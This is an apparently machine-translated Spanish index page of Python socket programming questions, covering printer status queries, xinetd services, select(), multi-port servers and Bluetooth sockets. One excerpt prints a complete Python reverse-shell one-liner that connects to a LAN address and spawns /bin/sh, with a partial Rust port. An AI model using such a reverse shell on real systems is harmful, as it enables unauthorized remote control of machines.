Articles of enchufes de

Comunicación de socket Python con servidor de impresión HP

Tengo un HP Laserjet 2550n con servidor de impresión integrado conectado a la red local en 192.168.1.100. Desafortunadamente, el software “caja de herramientas” del cliente que le indicó el estado del tóner, etc., solo se ejecuta en Windows XP. He usado Wireshark para escuchar la comunicación, usando una máquina XP antigua, y me gustaría escribir […]

El servicio xinetd llama al script de Python (no se ejecuta correctamente)

Leo esto: Puede usar xinetd para agregar un servicio iniciando su secuencia de comandos de Python. La entrada y salida estándar se transmitirán a través de la red en el puerto deseado, por lo que no necesita modificar sus scripts (los métodos de entrada / raw_input e impresión funcionarán bien). Como resultado, estoy usando un […]

Python Socket – cómo guardar la secuencia en un archivo

Tengo un servidor que envía datos a un puerto. En Python, ¿cómo puedo crear un script que se conecte a ese socket y guardar la secuencia de datos localmente?

crear fileno en clase?

Actualmente estoy reescribiendo un código que utiliza el método select.select() python, pero estos solo devolverán los objetos de socket a los que debo ir y hacer coincidir manualmente ese socket con el socket de una clase que se colocó allí debajo de __init__ . el pseudocódigo para eso sería básicamente [classobject for classobject in classList […]

¿Puedo usar el módulo ‘socket’ de python para conectarme a un host Ethernet inalámbrico?

Mi objective es tener el control remoto de un dispositivo en una WLAN. Este dispositivo tiene un software que me permite configurar esta red inalámbrica (IP, máscara, puerta de enlace, DNS). Puedo conectar con éxito este dispositivo y mi computadora a una red común. Como ambas máquinas comparten la misma red, asumí que sería capaz […]

¿Cómo hago que un servidor escuche en varios puertos?

Me gustaría escuchar en 100 puertos TCP diferentes con el mismo servidor. Esto es lo que estoy haciendo actualmente: import socket import select def main(): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) for i in range(1000,1100): server_socket.bind((‘127.0.0.1’, i)) server_socket.listen(1) read_list = [server_socket] while True: readable, writable, exceptional = select.select(read_list, [], read_list) for s in readable: […]

¿Cuál es el equivalente de Rust de un script de shell inverso escrito en Python?

Uno puede crear una shell inversa usando Python con el siguiente ejemplo de código si la máquina con la dirección IP está escuchando en el puerto dado: import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\”192.168.1.3\”, 6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\”/bin/sh\”, \”-i\”]); Estoy tratando de duplicar este proceso con Rust: let mut stream = std::net::TcpStream::connect(“192.168.1.3:6666”).expect(“Couldn’t connect to the […]

¿Falta el socket.AF_BLUETOOTH en Anaconda Python?

Estoy tratando de usar socket.AF_BLUETOOTH como se explica aquí: https://docs.python.org/3.3/library/socket.html Tengo Python 3.3.5 :: Anaconda 2.1.0 (x86_64) en Mac OS X 10.10.2 y el módulo de socket no parece contener ninguna referencia AF_BLUETOOTH: In [1]: import socket In [2]: socket.AF socket.AF_APPLETALK socket.AF_INET socket.AF_IPX socket.AF_SNA socket.AF_UNIX socket.AF_DECnet socket.AF_INET6 socket.AF_ROUTE socket.AF_SYSTEM socket.AF_UNSPEC ¿Alguien puede ayudar?

Python en Snow Leopard, ¿cómo abrir> 255 sockets?

Considere este código: import socket store = [] scount = 0 while True: scount+=1 print “Creating socket %d” % (scount) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) store.append(s) Da el siguiente resultado: Creating socket 1 Creating socket 2 … Creating socket 253 Creating socket 254 Traceback (most recent call last): File “test_sockets.py”, line 9, in File “/opt/local/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/socket.py”, line […]

conector de python se cuelga en conectar

Estoy tratando de hacer un proxy transparente en python usando el módulo de socket. pero por alguna razón se cuelga al conectar () el zócalo. Aquí está el código que estoy usando: from __future__ import division import socket import struct #import mcpackets import sys import time #CUSTOM SETTINGS HOST=”192.168.178.28″ PORT=25565 #END CUSTOM SETTINGS serversocket = […]